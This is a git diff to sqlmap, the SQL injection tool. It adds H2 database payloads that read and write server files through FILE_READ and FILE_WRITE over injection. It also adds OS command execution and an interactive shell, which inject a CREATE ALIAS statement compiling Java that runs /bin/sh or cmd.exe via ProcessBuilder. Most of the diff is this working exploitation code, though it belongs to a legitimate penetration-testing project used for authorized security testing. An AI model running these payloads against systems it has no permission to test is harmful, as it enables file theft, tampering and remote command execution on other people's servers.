diff --git a/data/xml/queries.xml b/data/xml/queries.xml
index 8313e94df..ca744e96b 100644
--- a/data/xml/queries.xml
+++ b/data/xml/queries.xml
@@ -305,8 +305,8 @@
-
-
+
+
@@ -598,7 +598,7 @@
-
+
@@ -1983,12 +1983,12 @@
-
-
+
+
-
-
+
+
@@ -2003,8 +2003,8 @@
-
-
+
+
diff --git a/lib/core/settings.py b/lib/core/settings.py
index 62b2762d0..331933092 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (...)
-VERSION = "1.10.7.96"
+VERSION = "1.10.7.97"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py
index cb3e8a58b..3f43afb36 100644
--- a/lib/takeover/abstraction.py
+++ b/lib/takeover/abstraction.py
@@ -58,6 +58,9 @@ class Abstraction(Web, UDF, XP_cmdshell):
elif Backend.isDbms(DBMS.MSSQL):
self.xpCmdshellExecCmd(cmd, silent=silent)
+ elif Backend.isDbms(DBMS.H2):
+ self.h2ExecCmd(cmd, silent=silent)
+
else:
errMsg = "Feature not yet implemented for the back-end DBMS"
raise SqlmapUnsupportedFeatureException(errMsg)
@@ -77,6 +80,9 @@ class Abstraction(Web, UDF, XP_cmdshell):
elif Backend.isDbms(DBMS.MSSQL):
retVal = self.xpCmdshellEvalCmd(cmd, first, last)
+ elif Backend.isDbms(DBMS.H2):
+ retVal = self.h2EvalCmd(cmd, first, last)
+
else:
errMsg = "Feature not yet implemented for the back-end DBMS"
raise SqlmapUnsupportedFeatureException(errMsg)
diff --git a/plugins/dbms/h2/filesystem.py b/plugins/dbms/h2/filesystem.py
index f607dc243..c82ba858e 100644
--- a/plugins/dbms/h2/filesystem.py
+++ b/plugins/dbms/h2/filesystem.py
@@ -5,14 +5,43 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
-from lib.core.exception import SqlmapUnsupportedFeatureException
+from lib.core.common import checkFile
+from lib.core.convert import getText
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.enums import CHARSET_TYPE
+from lib.core.enums import EXPECTED
+from lib.request import inject
from plugins.generic.filesystem import Filesystem as GenericFilesystem
class Filesystem(GenericFilesystem):
- def readFile(self, remoteFile):
- errMsg = "on H2 it is not possible to read files"
- raise SqlmapUnsupportedFeatureException(errMsg)
+ def nonStackedReadFile(self, remoteFile):
+ if not kb.bruteMode:
+ infoMsg = "fetching file: '%s'" % remoteFile
+ logger.info(infoMsg)
+
+ # NOTE: FILE_READ() is a default H2 builtin and works in a plain SELECT (no stacking required)
+ result = inject.getValue("RAWTOHEX(FILE_READ('%s'))" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL)
+
+ return result
+
+ def stackedReadFile(self, remoteFile):
+ # H2 reads through a builtin scalar, so the stacked/direct path reuses the same primitive
+ return self.nonStackedReadFile(remoteFile)
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
- errMsg = "on H2 it is not possible to write files"
- raise SqlmapUnsupportedFeatureException(errMsg)
+ checkFile(localFile)
+ self.checkDbmsOs()
+
+ with open(localFile, "rb") as f:
+ content = getText(f.read())
+
+ infoMsg = "writing the file content to '%s'" % remoteFile
+ logger.info(infoMsg)
+
+ # NOTE: FILE_WRITE() is the H2 builtin counterpart of FILE_READ(); being a plain scalar it needs no
+ # stacked queries (the write happens as a side effect over UNION/error/blind). The content is passed
+ # as a string literal (STRINGTOUTF8) so it survives sqlmap's CHAR()-encoding (unlike an X'..' literal)
+ inject.getValue("CAST(FILE_WRITE(STRINGTOUTF8('%s'),'%s') AS INT)" % (content.replace("'", "''"), remoteFile), expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
+
+ return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
diff --git a/plugins/dbms/h2/fingerprint.py b/plugins/dbms/h2/fingerprint.py
index 7125b27ce..44252d1ea 100644
--- a/plugins/dbms/h2/fingerprint.py
+++ b/plugins/dbms/h2/fingerprint.py
@@ -119,3 +119,10 @@ class Fingerprint(GenericFingerprint):
def getHostname(self):
warnMsg = "on H2 it is not possible to enumerate the hostname"
logger.warning(warnMsg)
+
+ def checkDbmsOs(self, detailed=False):
+ if Backend.getOs():
+ infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
+ logger.info(infoMsg)
+ else:
+ self.userChooseDbmsOs()
diff --git a/plugins/dbms/h2/takeover.py b/plugins/dbms/h2/takeover.py
index 29ba323a5..50b62af54 100644
--- a/plugins/dbms/h2/takeover.py
+++ b/plugins/dbms/h2/takeover.py
@@ -5,17 +5,42 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
+from lib.core.common import Backend
+from lib.core.common import randomStr
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.enums import OS
from lib.core.exception import SqlmapUnsupportedFeatureException
+from lib.request import inject
from plugins.generic.takeover import Takeover as GenericTakeover
class Takeover(GenericTakeover):
def osCmd(self):
- errMsg = "on H2 it is not possible to execute commands"
- raise SqlmapUnsupportedFeatureException(errMsg)
+ self._createExecAlias()
+ self.runCmd(conf.osCmd)
def osShell(self):
- errMsg = "on H2 it is not possible to execute commands"
- raise SqlmapUnsupportedFeatureException(errMsg)
+ self._createExecAlias()
+ self.shell()
+
+ def _createExecAlias(self):
+ # NOTE: H2 compiles an inline Java source alias that shells out; the $$-delimited body avoids
+ # single-quote escaping and survives stacked-query injection intact
+ if not kb.get("h2ExecAlias"):
+ kb.h2ExecAlias = randomStr(lowercase=True)
+ argv = '"cmd.exe","/c"' if Backend.isOs(OS.WINDOWS) else '"/bin/sh","-c"'
+ # NOTE: ProcessBuilder().start() is used instead of Runtime.exec() because 'exec' is an SQL
+ # statement keyword that sqlmap's cleanQuery() would upper-case and break the case-sensitive Java
+ source = 'String x(String c) throws Exception { return new String(new ProcessBuilder(new String[]{%s,c}).start().getInputStream().readAllBytes()); }' % argv
+ inject.goStacked("CREATE ALIAS IF NOT EXISTS %s AS $$ %s $$" % (kb.h2ExecAlias, source))
+
+ def h2ExecCmd(self, cmd, silent=False):
+ self._createExecAlias()
+ inject.goStacked("CALL %s('%s')" % (kb.h2ExecAlias, cmd.replace("'", "''")))
+
+ def h2EvalCmd(self, cmd, first=None, last=None):
+ self._createExecAlias()
+ return inject.getValue("%s('%s')" % (kb.h2ExecAlias, cmd.replace("'", "''")), safeCharEncode=False)
def osPwn(self):
errMsg = "on H2 it is not possible to establish an "
diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py
index 3e3c5f4b6..69ceebb9f 100644
--- a/plugins/generic/filesystem.py
+++ b/plugins/generic/filesystem.py
@@ -229,7 +229,7 @@ class Filesystem(object):
logger.debug(debugMsg)
fileContent = self.stackedReadFile(remoteFile)
- elif Backend.isDbms(DBMS.MYSQL) or Backend.isDbms(DBMS.PGSQL):
+ elif Backend.isDbms(DBMS.MYSQL) or Backend.isDbms(DBMS.PGSQL) or Backend.isDbms(DBMS.H2):
debugMsg = "going to try to read the file with non-stacked query "
debugMsg += "SQL injection technique"
logger.debug(debugMsg)